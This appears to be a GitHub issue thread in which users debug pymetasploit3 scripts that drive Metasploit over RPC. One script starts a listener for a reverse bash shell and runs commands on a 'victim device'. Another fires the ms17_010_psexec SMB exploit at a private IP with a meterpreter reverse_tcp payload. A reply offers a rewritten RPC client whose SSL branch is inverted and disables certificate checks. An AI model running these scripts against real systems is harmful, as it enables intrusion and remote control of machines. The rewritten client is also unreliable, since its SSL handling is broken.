Client session closes immediately after exploit execution
I am trying to code a connection handler for my reverse bash with the help of the examples. This is my code:
import time
from pymetasploit3.msfrpc import MsfRpcClient
# set up exploit
client = MsfRpcClient('mypassword', port=55553, ssl=True)
exploit = client.modules.use('exploit', 'multi/handler')
exploit['VERBOSE'] = True
# set up payload
payload = client.modules.use('payload', 'cmd/unix/reverse_bash')
payload['VERBOSE'] = True
payload['LHOST'] = <MyHostIP>
payload['LPORT'] = 5555
# start the listener
exploit.execute(payload=payload)
# looping is necessary as session does not seem to be established immediately
sessions = []
while not sessions:
for s in client.session.list.keys():
sessions.append(s)
time.sleep(1)
# session is no longer available here
shell = client.session.session(list(client.sessions.list.keys())[0])
shell.write('whoami')
print(shell.read())
shell.stop()
As you can read from the comments, I seemingly can open a session when I start the reverse shell on the victim device. However, the session is no longer available in the next statement anymore, and as a result, executing shell code is not possible.
Can you give me a hint what I am doing wrong?
Thanks!
Hi, i have the same problem. After exploit i receive a job and the session is not created.
###CODE### client = MsfRpcClient('password', port=55554) exploit = client.modules.use('exploit', 'windows/smb/ms17_010_psexec') exploit['RHOSTS'] = '192.168.1.138' exploit['RPORT'] = '445' console_id = client.consoles.console().cid console = client.consoles.console(console_id) payload = client.modules.use('payload', 'windows/meterpreter/reverse_tcp') payload['LHOST'] = '192.168.1.132' payload['LPORT'] = '4444'
ex = exploit_execute_result = exploit.execute(payload=payload) print(ex) print(client.sessions.list)
####PRINT#### {'job_id': 6, 'uuid': 'a401xppd'} {}
Hmm, anyone available to help me troubleshoot this?
@DocDriven @GrappyDock @DanMcInerney I encountered the same problem and found two solutions :
- Downgrade urllib3 version: In some cases, using a higher version of urllib3 with unverified connections can cause issues. You can try downgrading the urllib3 version to resolve the problem. Here's an example of the versions that worked for me:
pymetasploit3=1.0.5
python=3.7
requests=2.20.1
urllib3=1.24.3
2.Replace MsfRpcClient.call requests with http.client: Instead of using urllib3 for HTTP requests in the MsfRpcClient class, you can replace it with http.client. Here's an optimized version of the code:
import http.client
import json
class MsfRpcClient(object):
_headers = {
'Content-Type': 'application/json'
}
def __init__(self, password, **kwargs):
self.uri = kwargs.get('uri', '/api/')
self.port = kwargs.get('port', 55553)
self.server = kwargs.get('server', '127.0.0.1')
self.ssl = kwargs.get('ssl', False)
self.verify_ssl = kwargs.get('verify', False)
self.sessionid = kwargs.get('token')
if self.ssl:
if self.verify_ssl:
self.client = http.client.HTTPConnection(self.server, self.port)
else:
self.client = http.client.HTTPSConnection(self.server, self.port, context=ssl._create_unverified_context())
else:
self.client = http.client.HTTPConnection(self.server, self.port)
self.login(kwargs.get('username', 'msf'), password)
def call(self, method, *args):
"""
Builds an RPC request and retrieves the result.
Mandatory Arguments:
- method : the RPC call method name (e.g. db.clients)
Optional Arguments:
- *args : the RPC method's parameters if necessary
Returns : RPC call result
"""
l = [method]
l.extend(args)
if method == MsfRpcMethod.AuthLogin:
self.client.request('POST', self.uri, json.dumps(l), self._headers)
r = self.client.getresponse()
if r.status == 200:
res = json.loads(r.read().decode())
return self.convert(res)
raise MsfRpcError('An unknown error has occurred while logging in.')
elif self.authenticated:
l.insert(1, self.sessionid)
self.client.request('POST', self.uri, json.dumps(l), self._headers)
r = self.client.getresponse()
if r.status == 200:
data = r.read()
result = self.convert(json.loads(data.decode(), strict=False))
if 'error' in result:
raise MsfRpcError(result['error_message'])
return result
raise MsfRpcError('An unknown error has occurred while performing the RPC call.')
raise MsfRpcError('You cannot perform this call because you are not authenticated.')
Generally speaking - not specific to what you are seeing, the JSON based interface, seems to be less prone to issues - not sure if its a metasploit issue or pymetasploit issue
all of the pymetasploit3 doesn't work, just no sessions hhha